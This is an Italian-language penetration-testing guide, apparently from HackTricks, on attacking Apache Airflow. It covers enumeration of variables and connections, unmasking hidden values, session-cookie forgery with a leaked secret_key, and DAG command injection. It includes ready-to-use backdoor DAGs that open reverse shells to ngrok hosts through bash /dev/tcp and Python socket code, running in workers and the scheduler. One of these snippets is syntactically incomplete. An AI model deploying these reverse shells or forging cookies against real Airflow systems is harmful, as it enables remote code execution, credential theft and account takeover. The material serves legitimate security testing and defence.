# Sicurezza di Apache Airflow {{#include ../../banners/hacktricks-training.md}} ### Informazioni di Base [**Apache Airflow**](https://airflow.apache.org) funge da piattaforma per **l'orchestrazione e la pianificazione di pipeline di dati o flussi di lavoro**. Il termine "orchestrazione" nel contesto delle pipeline di dati indica il processo di organizzazione, coordinamento e gestione di flussi di lavoro complessi di dati provenienti da varie fonti. Lo scopo principale di queste pipeline di dati orchestrate è fornire set di dati elaborati e utilizzabili. Questi set di dati sono ampiamente utilizzati da una miriade di applicazioni, tra cui, ma non solo, strumenti di business intelligence, modelli di data science e machine learning, tutti fondamentali per il funzionamento delle applicazioni di big data. Fondamentalmente, Apache Airflow ti permetterà di **pianificare l'esecuzione di codice quando qualcosa** (evento, cron) **accade**. ### Laboratorio Locale #### Docker-Compose Puoi utilizzare il **file di configurazione docker-compose da** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) per avviare un ambiente docker completo di apache airflow. (Se sei su MacOS assicurati di dare almeno 6GB di RAM alla VM docker). #### Minikube Un modo semplice per **eseguire apache airflow** è farlo **con minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update helm install airflow-release airflow-stable/airflow # Some information about how to aceess the web console will appear after this command # Use this command to delete it helm delete airflow-release ``` ### Configurazione di Airflow Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione o potresti trovare configurazioni deboli in atto: {{#ref}} airflow-configuration.md {{#endref}} ### Airflow RBAC Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**: {{#ref}} airflow-rbac.md {{#endref}} ### Attacchi #### Enumerazione della Console Web Se hai **accesso alla console web**, potresti essere in grado di accedere ad alcune o a tutte le seguenti informazioni: - **Variabili** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui) - **Connessioni** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui) - Accedile in `http:///connection/list/` - [**Configurazione**](./#airflow-configuration) (Informazioni sensibili come il **`secret_key`** e le password potrebbero essere memorizzate qui) - Elenca **utenti e ruoli** - **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti) #### Recupero dei Valori delle Variabili Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nell'interfaccia grafica in `http:///variable/list/`.\ Airflow per impostazione predefinita mostrerà il valore della variabile nell'interfaccia grafica, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nell'**interfaccia grafica**. ![](<../../images/image (164).png>) Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), **esecuzione di DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche l'interfaccia grafica stessa!**\ Per accedere a quei valori dall'interfaccia grafica, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\ Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo: ![](<../../images/image (152).png>) #### Escalation dei Privilegi Se la configurazione **`expose_config`** è impostata su **True**, dal **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG Backdoor (RCE in Airflow worker) Se hai **accesso in scrittura** al luogo dove i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\ Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( dag_id='rev_shell_bash', schedule_interval='0 0 * * *', start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: run = BashOperator( task_id='run', bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', ) ``` ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): s = socket.socket() s.connect((rhost, port)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh") with DAG( dag_id='rev_shell_python', schedule_interval='0 0 * * *', start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: run = PythonOperator( task_id='rs_python', python_callable=rs, op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ) ``` #### DAG Backdoor (RCE nel scheduler di Airflow) Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione nella cartella del DAG. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): s = socket.socket() s.connect((rhost, port)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( dag_id='rev_shell_python2', schedule_interval='0 0 * * *', start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: run = PythonOperator( task_id='rs_python2', python_callable=rs, op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### Creazione di DAG Se riesci a **compromettere una macchina all'interno del cluster DAG**, puoi creare nuovi **script DAG** nella cartella `dags/` e verranno **replicati nel resto delle macchine** all'interno del cluster DAG. #### Iniezione di Codice DAG Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\ Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\ Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che i **parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**. Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` Se vengono utilizzati, ad esempio, all'interno di un comando bash, è possibile eseguire un'iniezione di comandi. {{#include ../../banners/hacktricks-training.md}}